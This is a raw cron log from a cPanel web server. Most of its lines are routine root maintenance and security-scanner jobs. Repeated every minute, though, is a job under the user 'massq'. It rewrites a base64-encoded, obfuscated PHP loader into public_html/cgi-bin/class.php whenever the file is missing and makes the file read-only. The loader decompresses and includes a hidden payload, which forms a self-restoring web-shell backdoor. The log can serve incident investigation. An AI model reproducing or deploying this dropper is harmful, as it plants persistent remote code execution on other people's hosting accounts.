Sep  7 18:41:01 server CROND[22614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:41:01 server CROND[22615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:42:01 server CROND[23151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:42:01 server CROND[23152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:42:01 server CROND[23153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:42:01 server CROND[23154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:43:01 server CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:43:01 server CROND[23522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:43:01 server CROND[23523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:44:01 server CROND[24016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:44:01 server CROND[24017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:44:01 server CROND[24018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:45:01 server CROND[24394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:45:01 server CROND[24397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:45:01 server CROND[24398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:45:01 server CROND[24395]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:45:01 server CROND[24396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:45:01 server CROND[24399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:45:01 server CROND[24400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:46:01 server CROND[25242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:46:01 server CROND[25243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:46:01 server CROND[25244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:47:01 server CROND[25628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:47:01 server CROND[25629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:47:01 server CROND[25630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:48:01 server CROND[26025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:48:01 server CROND[26026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:48:01 server CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:49:01 server CROND[26524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:49:01 server CROND[26525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:49:01 server CROND[26526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:50:01 server CROND[27034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:50:01 server CROND[27037]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:50:01 server CROND[27038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:50:01 server CROND[27042]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:50:01 server CROND[27036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:50:01 server CROND[27041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:50:01 server CROND[27043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:50:01 server CROND[27040]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:50:01 server CROND[27039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:51:01 server CROND[27924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:51:01 server CROND[27923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:51:01 server CROND[27925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:52:01 server CROND[28303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:52:01 server CROND[28304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:52:01 server CROND[28305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:53:01 server CROND[28702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:53:01 server CROND[28703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:53:01 server CROND[28704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:54:01 server CROND[29196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:54:01 server CROND[29197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
